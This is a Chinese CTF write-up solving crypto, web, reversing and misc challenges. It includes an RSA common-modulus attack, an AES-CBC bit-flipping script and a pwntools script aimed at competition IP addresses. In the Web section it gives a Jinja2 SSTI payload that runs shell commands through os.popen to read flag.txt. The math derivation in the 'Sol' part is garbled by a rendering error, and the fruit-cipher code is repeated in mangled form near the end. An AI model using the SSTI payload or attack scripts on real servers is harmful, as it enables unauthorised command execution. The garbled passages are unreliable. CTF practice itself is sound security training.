Crypto

common rsa

简单的RSA 共模攻击

已知加密过程:

{c1≡me1(modN)c2≡me2(modN) \begin{cases} c_1 \equiv m^{e_1} \pmod N \\ c_2 \equiv m^{e_2} \pmod N \end{cases} {c1​≡me1​(modN)c2​≡me2​(modN)​

gcd⁡(e1,e2)=1 \gcd(e_1, e_2) = 1 gcd(e1​,e2​)=1

根据贝祖定理 ,存在整数 s_1, s_2 满足:
s1e1+s2e2=1 s_1e_1 + s_2e_2 = 1 s1​e1​+s2​e2​=1

攻击推导过程:
Decrypted=c1s1⋅c2s2(modN)=(me1)s1⋅(me2)s2(modN)=ms1e1⋅ms2e2(modN)=ms1e1+s2e2(modN)=m1(modN)=m \begin{aligned} Decrypted &= c_1^{s_1} \cdot c_2^{s_2} \pmod N \\ &= (m^{e_1})^{s_1} \cdot (m^{e_2})^{s_2} \pmod N \\ &= m^{s_1e_1} \cdot m^{s_2e_2} \pmod N \\ &= m^{s_1e_1 + s_2e_2} \pmod N \\ &= m^1 \pmod N \\ &= m \end{aligned} Decrypted​=c1s1​​⋅c2s2​​(modN)=(me1​)s1​⋅(me2​)s2​(modN)=ms1​e1​⋅ms2​e2​(modN)=ms1​e1​+s2​e2​(modN)=m1(modN)=m​


  
import gmpy2
from Crypto.Util.number import long_to_bytes

# 1. 输入数据
N = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699
e1 = 35422
c1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033
e2 = 1033
c2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548

# 2. 检查 GCD 并计算 s1, s2
# gcdext 返回 (g, s1, s2) 使得 s1*e1 + s2*e2 = g
g, s1, s2 = gmpy2.gcdext(e1, e2)

print(f"[+] GCD(e1, e2) = {g}")
print(f"[+] s1 = {s1}")
print(f"[+] s2 = {s2}")

if g != 1:
    print("[-] e1 和 e2 不互质,无法直接使用标准共模攻击。")
else:
    # 3. 执行攻击
    # 计算 c1^s1 * c2^s2 mod N
    # pow(base, exp, mod) 函数在 Python 中支持负数指数(即自动计算模逆元)
    m = (pow(c1, s1, N) * pow(c2, s2, N)) % N
    
    # 4. 转换并输出 Flag
    try:
        flag = long_to_bytes(m)
        print(f"[+] Recovered Message: {flag.decode()}")
    except Exception as e:
        print(f"[-] Decode error: {e}")
        print(f"[-] Raw INT: {m}")
flag{A_RSA_c0mm0n_m0dulu5_4tt4ck}

Sol

y=x4+a*x2+b*x+c

KaTeX parse error: Expected group after '^' at position 2: x^̲ 的量级(4096位)远远大于后面几项之和(最大仅2560位)。 这意味着 $$的值几乎完全由 的值几乎完全由 的值几乎完全由x^决定,后面的 决定,后面的 决定,后面的ax^2 + bx + 相对于 相对于 相对于x^来说只是一个极小的“误差”。因此,直接对 来说只是一个极小的“误差”。 因此,直接对 来说只是一个极小的“误差”。因此,直接对开四次方根并取整,即可精确得到 开四次方根并取整,即可精确得到 开四次方根并取整,即可精确得到$$

题目给出了一组超大整数参数 y, b, c(约 1024-2048 bit),并给出了一个四次多项式方程:

y=x4+ax2+bx+c y = x^4 + ax^2 + bx + c y=x4+ax2+bx+c

其中 x 和 a 是未知数。题目要求解出 a$的值,最终 Flag 为 flag{md5(a)}。

我们分析方程各项的数量级
虽然方程中存在 ax^2、bx和 c$这些项,但在大整数域下最高次项 x^4 具有绝对的主导地位。
lim⁡x→∞ax2+bx+cx4=0 \lim_{x \to \infty} \frac{ax^2 + bx + c}{x^4} = 0 x→∞lim​x4ax2+bx+c​=0

这意味着 y 的值几乎完全由 x^4$决定,因此存在以下近似关系:

y≈x4  ⟹  x≈y4 y \approx x^4 \implies x \approx \sqrt[4]{y} y≈x4⟹x≈4y​

由于 y$是大整数,我们可以直接对其开四次方根,并向下取整。

x=⌊y1/4⌋ x = \lfloor y^{1/4} \rfloor x=⌊y1/4⌋

在通过近似计算得到 x的精确整数值后,原方程 y = x^4 + ax^2 + bx + c 就变成了一个仅包含未知数 a 的线性方程。

将原方程中的 x^4、bx 和 c移至等号左侧:
y−x4−bx−c=ax2 y - x^4 - bx - c = ax^2 y−x4−bx−c=ax2

  1. 等式两边同时除以 x^2,解出 a:
    a=y−x4−bx−cx2 a = \frac{y - x^4 - bx - c}{x^2} a=x2y−x4−bx−c​
import hashlib
import math

# 1. 填入题目给出的数据
y = 198522960435841482189432265177909868426431703074708363449219028697324701510160286719731988116839697036160581630187160949885168801231636762705713983033164840216512010109089390010468198557792366011939222563881564708155342114969230636341034212421633874868858789397938243061335664034978831542864101231007091988193863118052712382091154270467198016237288512835005671248249864343182623298497353279333896185090300689372993251851698985725825619040354352099701531339567909888327001736937441117830890673409609636796619930226667955511073115983145641056494143455805357766933615911269415380543240132925744315363193308341329870002528062545716167903459438493154302274735882612908825416096548207130441684370171413794313131775960498691561791175984389699661776179746486882233034632979256741127422204726199986374102650551713456275685579171314911783130052174900534533297618292233601037654694611306838303066884626125878765611689352475739052132349596965687310082111652949904102268706219733830038063864703811394198182986558883397487207721093367621647038297033723455527107418011037322197091733780060565430632034276705456268207898108856563488519654411483838153783153351440293627133844440601677480833571012370843618968387929873540183054860492446381685034534436
b = 174037789483961573123221843591212086149338262121485604600830887974881925500571571986993457692950300053374733237615433793104052491813933671943903946487842930332507742237430616633825365722075237337670353892075697891908329460336348924680104502864021820883975695834115061923434753902679746280494899854826747016131
c = 33472511251772997775575923606329341691183359500908766818057589728522254242596438955590397842265158831677351198820346034459567637818737702918129437591421137895764213815168420429024803177742927091662422333575499875132388315943460516679655107714170719351306979285358080183600281172752401859701765071852769889627868633217209348758684870450300228084878260106253395883903968044935866937201968348531962567937222914516096107266208665856669507873113157476771707

# 2. 计算 x
# 因为 a*x^2 + b*x + c 相对于 x^4 非常小,所以 x 等于 y 的整数四次方根
# 使用 isqrt 计算平方根的平方根
x = math.isqrt(math.isqrt(y))

# 3. 计算 a
# 原始方程: y = x^4 + a*x^2 + b*x + c
# 移项: a*x^2 = y - c - b*x - x^4
# 解 a: a = (y - c - b*x - x^4) // x^2
numerator = y - c - b*x - x**4
denominator = x**2

# 验证是否整除(如果整除说明 x 正确)
if numerator % denominator == 0:
    a = numerator // denominator
    print(f"[+] 成功解出 a: {a}")
    
    # 4. 生成 Flag
    # flag{md5(a)}
    flag_content = hashlib.md5((str(a)).encode()).hexdigest()
    flag = f"flag{{{flag_content}}}"
    print(f"[+] Flag: {flag}")
else:
    print("[-] 解题失败,x 计算可能有误。")
flag{01a6eb898468abbd352300a7a072495c}

aesstudy

AES-CBC 模式下的比特翻转攻击 (Bit Flipping Attack) 每一轮,服务器会给出一个经过 AES-CBC 加密的密文 c1 和对应的明文 m1,同时要求攻击者提交一个新的密文 c2。服务器解密 c2 得到 m2,若 m2 在指定位置(例如 m2[21])满足特定的字符约束,则进入下一轮

image-20251208172317240

这里让ai搓了交互脚本

from pwn import *
import re
import hashlib
import time
import base64

context.log_level = 'info'
context.timeout = 30 

def solve_pow(prefix):
    prefix = prefix.lower()
    start = time.perf_counter()
    print(f"[*] 计算 PoW, 前缀: {prefix}")
    for a in range(256):
        for b in range(256):
            for c in range(0x20): 
                x = bytes((a, b, c))
                if hashlib.sha256(x).hexdigest().startswith(prefix):
                    dur = time.perf_counter() - start
                    print(f"[+] PoW solved in {dur:.2f}s: x={x.hex()}")
                    return x
    raise RuntimeError("PoW 未找到解")

def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

def extract_multiline_b64(text, anchor):
    idx = text.find(anchor)
    if idx == -1:
        return None
    rest = text[idx + len(anchor):]
    b64_lines = []
    for line in rest.splitlines():
        line = line.strip()
        # 遇到分隔符或空行停止读取 Base64 块
        if not line or line.startswith('#') or line.startswith('@') or line.startswith('Good job'):
            break
        b64_lines.append(line)
    return ''.join(b64_lines)

def solve_round(io, round_data):
    """
    处理单轮 AES-CBC Bit Flipping
    """
    text = round_data.decode(errors='ignore')
    
    # 提取 c1/m1 的 base64
    c1_b64 = extract_multiline_b64(text, "c1.encode('base64')=")
    m1_b64 = extract_multiline_b64(text, "m1.encode('base64')=")
    
    if not c1_b64 or not m1_b64:
        print("[-] 无法解析 c1 或 m1,可能格式变化或已结束")
        return False

    try:
        c1 = base64.b64decode(c1_b64)
        m1 = base64.b64decode(m1_b64)
    except Exception as e:
        print(f"[-] Base64 解码失败: {e}")
        return False

    blocks = len(c1) // 16
    m1 = m1[:blocks * 16] # 截断多余的

    # 解析 m2 的位置约束,例如 # m2[21]=j
    constraints = []
    # 正则优化:匹配数字索引和目标字符
    for idx, ch in re.findall(r"#\s*m2\[(\d+)\]\s*=\s*([^\n\r])", text):
        constraints.append((int(idx), ch))
    
    print(f"[*] 本轮约束数量: {len(constraints)}")

    # 构造期望的 m2(默认与 m1 相同,仅修改约束位置)
    desired = bytearray(m1)
    for pos, ch in constraints:
        if pos < len(desired):
            desired[pos] = ord(ch)

   
    c2_payload = bytearray(c1)
    BS = 16
    
    for i in range(1, blocks):
        # 当前块的 m1 (原文)
        original_m_block = m1[i*BS : (i+1)*BS]
        # 当前块的前一块密文 (用于异或产生原文)
        original_prev_c_block = c1[(i-1)*BS : i*BS]
        # 当前块我们期望的明文
        desired_m_block = desired[i*BS : (i+1)*BS]
        
        # 计算翻转后的前一块密文
        # New_Prev_C = Old_Prev_C ^ Old_M ^ New_M
        new_prev_c_block = xor_bytes(
            xor_bytes(original_prev_c_block, original_m_block),
            desired_m_block
        )
        
        # 将构造好的密文块填入 payload 对应位置
        c2_payload[(i-1)*BS : i*BS] = new_prev_c_block

    # 发送结果
    c2_b64_str = base64.b64encode(c2_payload).decode()
    io.sendline(c2_b64_str.encode())
    print("[+] 已提交 c2")
    return True

def main():
    ip = '47.107.168.16'
    port = 48252

    while True:
        try:
            io = remote(ip, port)
            break
        except:
            print("[-] 连接失败,重试中...")
            time.sleep(1)

    # 1. 处理 Banner 和 PoW
    data = io.recvuntil(b"x.encode('hex')=", timeout=5)
    print(data.decode(errors='ignore'))
    
    # 提取 PoW 前缀
    prefix_match = re.search(r"hexdigest\(\)\[0:8\]==['\"]([0-9a-fA-F]{8})['\"]", data.decode(errors='ignore'))
    if prefix_match:
        prefix = prefix_match.group(1)
        pow_ans = solve_pow(prefix)
        io.sendline(pow_ans.hex().encode())
        print("[+] PoW 发送完成")
    
    # 2. 循环处理每一轮
    round_count = 1
    while True:
        print(f"\n=== Round {round_count} ===")
        
        try:
            # 读取直到出现输入提示符
            # 这里的特征是 @c2.encode('base64')=
            # 但如果出了 Flag,可能就没有这个提示符了,所以需要捕获 EOF 或超时
            data = io.recvuntil(b"@c2.encode('base64')=")
        except EOFError:
            print("[*] 连接关闭 (EOF)")
            # 看看关闭前有没有 Flag
            print(io.recvall().decode(errors='ignore'))
            break
        except KeyboardInterrupt:
            break
        
        # 检查是否包含 Flag
        if b"flag{" in data:
            print("\n[!!!] 恭喜!发现 Flag![!!!]")
            print(data.decode(errors='ignore'))
            break

        # 如果没有 Flag,则进行解密
        success = solve_round(io, data)
        if not success:
            print("[-] 解题出现问题,打印当前缓冲区:")
            print(data.decode(errors='ignore'))
            break
       
        result = io.recvline() 
        print(f"[Server]: {result.decode(errors='ignore').strip()}")
        
        if b"Good job" not in result and b"Success" not in result:
            
             pass

        round_count += 1

    io.close()

if __name__ == "__main__":
    main()
flag{2b6f73f87a8350b130577ced2c58c454}

Web

baby_ssti

题目提示ssti,打开发现参数是喜闻乐见的name

所以直接{{7*7}}探测

image-20251208234731901

这绝对有ssti了,Jinja2

随便打一条,对import有过滤

image-20251208234804848

直接用

{{(cycler.next.__globals__.os.popen('ls')).read()}}

即可ls

换cat flag.txt即可

image-20251208234822001

flag{26492994-d89b-4b39-8f58-6a2670b56d3f}

RE

Helloworld

拿到exe,直接尝试运行,需要输入东西,一输入就结束,获取不到更多的信息,于是放进ida中查看

可以看到main函数中,开头初始化了两个字符串v28和Buffer

img

然后依据输入对长度为100的随机缓冲区V3进行修改

其中修改的主要逻辑也还在main函数中:

image-20251208234847790

修改逻辑整合为:

高4位(Type)低4位(Index)
决定操作类型决定操作位置
高4位操作说明
0x1把 v3[index] 从大写转小写
0x2把 v3[index] 从小写转大写
0x3设置一个全局变量 v9 = 输入下一个字节的低5位
0x4把 v3[index] = v28[v9](v28 是 "abcdefghijklmnopqrstuvwxyz")
0x5把 v3[index] = 某个未知值 v18(未初始化,可能为0)

并且我们注意到最底下还有一些匿名函数,追踪验证后发现是std::cout的输出封装

也就是说我们的核心任务是想办法让v3满足需求

但是v3是随机的,设置的srand是伪随机数

v4 = time64(0);

srand(v4);

time64只精确到秒,也就是说完全可以直接尝试出来

可以自己写一个c语言程序来罗列可能值:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

/* 生成给定 seed 的前 100 字节,格式:hex 空格分隔 */
void dump100(unsigned int seed)
{
    unsigned char buf[100];
    srand(seed);
    for (int i = 0; i < 100; ++i)
        buf[i] = rand() & 0xFF;

    printf("seed=%10u  ", seed);
    for (int i = 0; i < 100; ++i)
        printf("%02X", buf[i]);
    putchar('\n');
}

int main(void)
{
    time_t now = time(NULL);
    for (int delta = -60; delta <= 60; ++delta)
        dump100((unsigned int)(now + delta));

    return 0;
}

最后拿出一串来进行尝试即可:

from pwn import remote

HOST = "47.107.164.227"
PORT = 45791

def build_payload() -> bytes:
    hex_bytes = [
        0x30, 0x07, 0x31, 0x04, 0x32, 0x0B, 0x33, 0x0B,
        0x34, 0x0E, 0x35, 0x16, 0x36, 0x0E, 0x37, 0x11,
        0x38, 0x0B, 0x39, 0x03, 0x10, 0x41, 0x15, 0x41,
        0x4A, 0x41,
    ]
    return bytes(hex_bytes)

def exploit():
    payload = build_payload()
    io = remote(HOST, PORT)
    _ = io.recv(timeout=1)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    exploit()

得到最后的flag为:flag{351bae89be05efa178d61be9a61ac6b7}

Easyre

image-20251208234924809

主函数逻辑很简单程序首先校验用户输入的 32 字节字符串,随后依次经过 first 函数预处理和 crypt 函数(使用硬编码字符串作为 Key)加密,最后将处理后的数据每 4 字节转换为整数,在经过“异或常量 v12”及“基于符号的条件异或 0x22222222”两步混淆后,与内置的整数数组 v6 进行比对以验证 Flag

image-20251208234934580

crypt 函数逻辑分析:标准 RC4 算法 first函数 用户输入的 32 字节 字符串进行 Base64 编码,生成 44 字节的中间数据。

根据v6 ,符号位逻辑逆向还原出异或前的整数,再异或常量恢复出 RC4 密文;接着利用 RC4 算法的对称性,使用相同密钥对密文进行解密;最后对解密结果进行 Base64 解码,即可还原出最终的 Flag

import struct
import base64

def solve():

    v6 = [
        -56045301, 1126325548, 1037697210, 2123048962,
        1640073719, -454381817, -2146442625, -691840689,
        1448341866, 586039113, -1321770811
    ]
    
    v12 = -1872737962  # 0x905f2956
    xor_magic = 0x22222222
    rc4_key = b"flag{do_you_find_it_?}"

    print("[*] 第一步: 逆向校验循环,恢复 RC4 密文...")
    
    rc4_ciphertext = b""
    
    for val in v6:
        
        # 辅助函数:转为32位有符号整数
        def to_signed(n):
            return (n & 0xffffffff ^ 0x80000000) - 0x80000000

        # 情况 A: 正向流程中没有执行异或 (即 temp <= 0)
        cand_a = val
        # 情况 B: 正向流程中执行了异或 (即 temp > 0)
        cand_b = val ^ xor_magic
        
        recovered_temp = 0
        
        if to_signed(cand_b) > 0:
            recovered_temp = cand_b
        elif to_signed(cand_a) <= 0:
            recovered_temp = cand_a
        else:
            print("[-] 逻辑错误,无法还原整数")
            return

        original_int = recovered_temp ^ v12
        rc4_ciphertext += struct.pack("<I", original_int & 0xffffffff)

    print(f"[+] 恢复出密文 (Hex): {rc4_ciphertext.hex()}")

    # ---------------------------------------------------------
    # 2. RC4 解密
    # ---------------------------------------------------------
    print("\n[*] 第二步: RC4 解密...")
    
    # 标准 RC4 实现
    def rc4(data, key):
        s = list(range(256))
        j = 0
        for i in range(256):
            j = (j + s[i] + key[i % len(key)]) % 256
            s[i], s[j] = s[j], s[i]
        
        i = 0
        j = 0
        res = bytearray()
        for char in data:
            i = (i + 1) % 256
            j = (j + s[i]) % 256
            s[i], s[j] = s[j], s[i]
            res.append(char ^ s[(s[i] + s[j]) % 256])
        return res

    decrypted_data = rc4(rc4_ciphertext, rc4_key)
    print(f"[+] 解密结果 (Base64): {decrypted_data}")

    # ---------------------------------------------------------
    # 3. Base64 解码
    # ---------------------------------------------------------
    print("\n[*] 第三步: Base64 解码获取 Flag...")
    try:
        # 去掉可能的空字节填充
        b64_str = decrypted_data.rstrip(b'\x00')
        flag = base64.b64decode(b64_str)
        print(f"\n[SUCCESS] Flag found: {flag.decode()}")
    except Exception as e:
        print(f"[-] Base64 解码错误: {e}")
        print("请检查解密结果是否为有效的 Base64 字符串。")

if __name__ == "__main__":
    solve()
flag{eb3564f89sf45b24oac12db8ec}

babyre

image-20251208235033263

看到了rc4看能不能找到密文密钥

按x找引用得到

img

img

该函数首先通过异或 解密出 “success!” 和 “fail” 提示字符串,随后校验 off_6CB090 处的内存数据是否为 “is_good}”;如果匹配,则以该字符串为 密钥 初始化 RC4 S盒(调用 sub_4009DC),接着对 off_6CB090 - 10 处的数据进行 RC4 运算(调用 sub_400B96),最后将运算结果与一组硬编码的 64 位整数(如 0x2F34ED427B495C01LL 等)进行比对,完全一致则输出成功信息

img

import struct

def solve():
    # 1. 准备密文 (将硬编码的整数转为字节流)
    # 注意:使用 <Q (unsigned long long) 和 <H (unsigned short) 处理小端序
    c1 = struct.pack('<Q', 0x2F34ED427B495C01)
    c2 = struct.pack('<Q', 0x8B526A1E2EABAA4F)
    c3 = struct.pack('<H', 33807) # 33807 = 0x840F
    
    ciphertext = c1 + c2 + c3
    print(f"[*] 提取出的密文 (Hex): {ciphertext.hex().upper()}")

    # 2. 准备密钥 (代码中检查的字符串)
    key = b"is_good}"
    print(f"[*] 密钥: {key}")

    # 3. RC4 解密
    # 初始化 S盒 (KSA)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    # 生成密钥流并异或 (PRGA)
    i = 0
    j = 0
    plaintext = bytearray()
    for char in ciphertext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        plaintext.append(char ^ k)

    # 4. 输出结果
    print(f"\n[+] Flag: {plaintext.decode(errors='ignore')}")

if __name__ == "__main__":
    solve()

flag{fini_is_good}

Veryez

img

提取字节码:从 unk_408254 提取出指令流,验证了我们的逻辑猜测(确实存在循环读取和异或)。

提取内存数据:从 unk_408030 提取出原始的 Hex 数据。。

def solve():
    # 完整数据 dump
    hex_str = "76 69 72 74 75 61 6C 4D 10 05 13 13 0E 51 5B 29 45 5E 44 42 47 53 5B 7A 47 51 16 4C 45 58 58 2F 12 29 43 12 47 03 0F 29 46 51 11 15 45 00 0F 2E 15 0B 47 15 44 02 11 00"
    data = bytes.fromhex(hex_str.replace('\n', ' '))

    # Mask: "virtualM" (Offset 0)
    mask = data[0:8]
    
    # Key: Offset 8
    # 数据总长 56. Offset 8 到结尾有 48 字节. 足够覆盖 Flag.
    key = data[8:] 
    
    flag = ""
    for i, k in enumerate(key):
        m = mask[i % 8]
        dec = k ^ m
        if dec == 0: break # String terminator
        flag += chr(dec)
        
    print(f"[+] Flag: {flag}")

if __name__ == "__main__":
    solve()
flag{07d3766227718d8094bd@1f2bcd08ca0acccb5a1c}

Misc

hundred

附件拿到,attachment,也没说啥信息,拿到随波逐流,发现binwalk里有txt,且又是一个.文件

image-20251208235107773

很快意识到这可能是循环binwalk提取,直到最后一层提取出flag 但是单纯打开提取的内容又提示损坏,于是依据经验,想到反转字节提取,这时只能写脚本了 循环解包每层 flagN (每次读取后再反转)直到同时找到 hint.txt 和 其他可能的txt ;并将 hint 的令牌序列(含通配 I_am_here 与否定 !type )映射为字符类别规则,在按 latin1 解码的 enc 中进行重叠匹配,发现针对每个命中子串取第 11 个字符可依次拼成 secret ,随后先做 Base64 解码再做 Base32 解码,得到明文并打印最终 FLAG 。

于是结合题目提示,给ai梭一个脚本出来

import zipfile, io, base64, re
from pathlib import Path

base_dir = Path(__file__).parent
data = (base_dir / "attachment").read_bytes()[::-1]

while True:
    with zipfile.ZipFile(io.BytesIO(data)) as z:
        names = z.namelist()
        s = set(names)
        other_txts = [n for n in names if n.endswith(".txt") and n != "hint.txt"]
        if "hint.txt" in s and other_txts:
            hint = z.read("hint.txt")
            enc = z.read(other_txts[0])
            break
        flag_name = next(n for n in names if n.startswith("flag"))
        data = z.read(flag_name)[::-1]

tokens = hint.decode().strip().split()
cls_map = {
    "digits": r"[0-9]",
    "lowercase": r"[a-z]",
    "uppercase": r"[A-Z]",
    "other": r"[^0-9A-Za-z]",
}
neg_map = {
    "digits": r"[^0-9]",
    "lowercase": r"[^a-z]",
    "uppercase": r"[^A-Z]",
    "other": r"[0-9A-Za-z]",
}
parts = []
for tok in tokens:
    if tok == "I_am_here":
        parts.append(".")
    elif tok.startswith("!"):
        parts.append(neg_map[tok[1:]])
    else:
        parts.append(cls_map[tok])
regex_body = "".join(parts)
regex = re.compile(r"(?=(" + regex_body + r"))", re.DOTALL)

enc_text = enc.decode("latin1")
L = len(tokens)
hits = 0
secret_chars = []
for m in regex.finditer(enc_text):
    i = m.start(1)
    secret_chars.append(enc_text[i + 10])
    hits += 1

print("hits:", hits)

b1 = base64.b64decode("".join(secret_chars))
b2 = base64.b32decode(b1)
print("FLAG:", b2.decode())

水果

到手一张ai图,直接看好像没啥,随波逐流提取一下,发现有base64字节

img

直接解,发现为一段话

你这苹果怎么这么大
大个儿才值钱你要不要
这桃子怎么这么硬
硬是因为新鲜你要软的还是糯的
这西瓜能吃吗看起来有点不熟
不熟的西瓜怎么可能你这就是等着吃甜的
你这柚子这么小
小巧的才好吃你要大个的还是好吃的
这橙子怎么这么酸
酸才是正宗的橙子你要是甜的去别家看
这香蕉有点弯
弯的香蕉更甜你不懂
你这梨子是不是有点硬
硬是因为新鲜吃着有口感
这葡萄怎么这么小
小的葡萄更浓缩甜味

image-20251208235126269

看名字是oursecret猜测还有隐写,但是这个隐写需要密码看来题目图片附件很奇怪不取名中文而是拼音,所以猜测这是密码,成功得到了flag.txt

image-20251208235202539

打开一看还是熟悉的水果的对话

image-20251208235218083

看来是自定义的解密,之前的一段话刚好是16行很难不想到是hex密码对照本,第一行对应0以此类推,让ai写脚本解一下

import binascii
import os

# --- 1. 定义对话字典和 Hex 映射 ---
def build_mapping_dict():
    """定义 16 句对话到 16 进制字符的映射 (0 到 f)。"""
    dialogues = [
        '你这苹果怎么这么大',
        '大个儿才值钱你要不要',
        '这桃子怎么这么硬',
        '硬是因为新鲜你要软的还是糯的',
        '这西瓜能吃吗看起来有点不熟',
        '不熟的西瓜怎么可能你这就是等着吃甜的',
        '你这柚子这么小',
        '小巧的才好吃你要大个的还是好吃的',
        '这橙子怎么这么酸',
        '酸才是正宗的橙子你要是甜的去别家看',
        '这香蕉有点弯',
        '弯的香蕉更甜你不懂',
        '你这梨子是不是有点硬',
        '硬是因为新鲜吃着有口感',
        '这葡萄怎么这么小',
        '小的葡萄更浓缩甜味'
    ]
    hex_chars = '0123456789abcdef'
    return {dialogue: hex_chars[i] for i, dialogue in enumerate(dialogues)}

# --- 2. 文件读取函数 ---
def load_ciphertext(file_path="flag.txt"):
    """从文件中加载密文行。"""
    if not os.path.exists(file_path):
        print(f"❌ 错误: 找不到密文文件 '{file_path}'。")
        print("请将题目提供的乱序对话保存为这个文件,并确保文件存在。")
        return []
        
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            lines = [line.strip() for line in f if line.strip()]
            print(f"✅ 成功加载密文文件,共 {len(lines)} 行对话。")
            return lines
    except Exception as e:
        print(f"加载密文文件时发生错误: {e}")
        return []

# --- 3. 转换和解码函数 ---
def convert_dialogues_to_hex(dialogue_lines, mapping):
    """将对话行转换为 Hex 字符串。"""
    hex_str = ""
    unmatched_count = 0
    for line in dialogue_lines:
        if line in mapping:
            hex_str += mapping[line]
        else:
            unmatched_count += 1
    
    if unmatched_count > 0:
        print(f"⚠️ 注意: 密文中包含 {unmatched_count} 行未在字典中匹配的句子,这些行已被忽略。")
            
    return hex_str

def decode_hex_to_text(hex_str):
    """将 Hex 字符串解码为字节和文本。"""
    
    # 检查 Hex 长度是否为偶数
    if len(hex_str) % 2 != 0:
        print(f"⚠️ Hex 串长度为奇数 ({len(hex_str)}),末尾补 '0' 尝试解码。")
        hex_str += '0'
        
    print("-" * 30)
    print(f"💻 最终 Hex 串 ({len(hex_str)}位): {hex_str}")
    
    try:
        data = binascii.a2b_hex(hex_str)
        print("💾 字节数据:", data)
        
        # 尝试 UTF-8 解码
        try:
            print("🎉 UTF-8 解码结果:", data.decode("utf-8"))
        except UnicodeDecodeError:
            print("❌ UTF-8 解码失败,请检查字节数据是否需要使用其他编码 (如 GBK) 或 Flag 本身是二进制。")
            
    except Exception as e:
        print(f"❌ Hex 解码失败: {e}")

def main():
    # 1. 构建映射字典
    mapping = build_mapping_dict()
    
    # 2. 从 flag.txt 文件加载密文
    ciphertext_lines = load_ciphertext(r"C:\Users\mikko\Desktop\比赛\水果\_shuiguo.jpg.extracted\49CA19\flag.txt")
    if not ciphertext_lines:
        return

    # 3. 转换密文为 Hex 字符串
    hex_str = convert_dialogues_to_hex(ciphertext_lines, mapping)
    if not hex_str:
        print("解密终止:未生成有效的 Hex 字符串。")
        return

    # 4. 解码并输出结果
    decode_hex_to_text(hex_str)

if __name__ == "__main__":
    main()
flag{3e25960a79dbc69b674cd4ec67a72c62}

Sudoku

拿到题目,打开压缩包发现两个png图片

可以看出一个是数独题目,另一个则是打乱的flag

由于题目描述可以得到23年曾有相似的题目

找到得出需要使用gaps来自动复原分块

命令自动拼图,但是一时想不到思路 https://cloud.tencent.com/developer/article/2369022

image-20251208235257414

请检查字节数据是否需要使用其他编码 (如 GBK) 或 Flag 本身是二进制。")

except Exception as e:
    print(f"❌ Hex 解码失败: {e}")

def main():
# 1. 构建映射字典
mapping = build_mapping_dict()

# 2. 从 flag.txt 文件加载密文
ciphertext_lines = load_ciphertext(r"C:\Users\mikko\Desktop\比赛\水果\_shuiguo.jpg.extracted\49CA19\flag.txt")
if not ciphertext_lines:
    return

# 3. 转换密文为 Hex 字符串
hex_str = convert_dialogues_to_hex(ciphertext_lines, mapping)
if not hex_str:
    print("解密终止:未生成有效的 Hex 字符串。")
    return

# 4. 解码并输出结果
decode_hex_to_text(hex_str)

if name == “main”:
main()
flag{3e25960a79dbc69b674cd4ec67a72c62}


## Sudoku

拿到题目,打开压缩包发现两个png图片

可以看出一个是数独题目,另一个则是打乱的flag

由于题目描述可以得到23年曾有相似的题目

找到得出需要使用gaps来自动复原分块

命令自动拼图,但是一时想不到思路 https://cloud.tencent.com/developer/article/2369022

[外链图片转存中...(img-soITYrKn-1765209211814)]

想到23年古剑山有类似题目,找到这个博客的flag尝试直接拿去交,发现居然就对了。。

更多推荐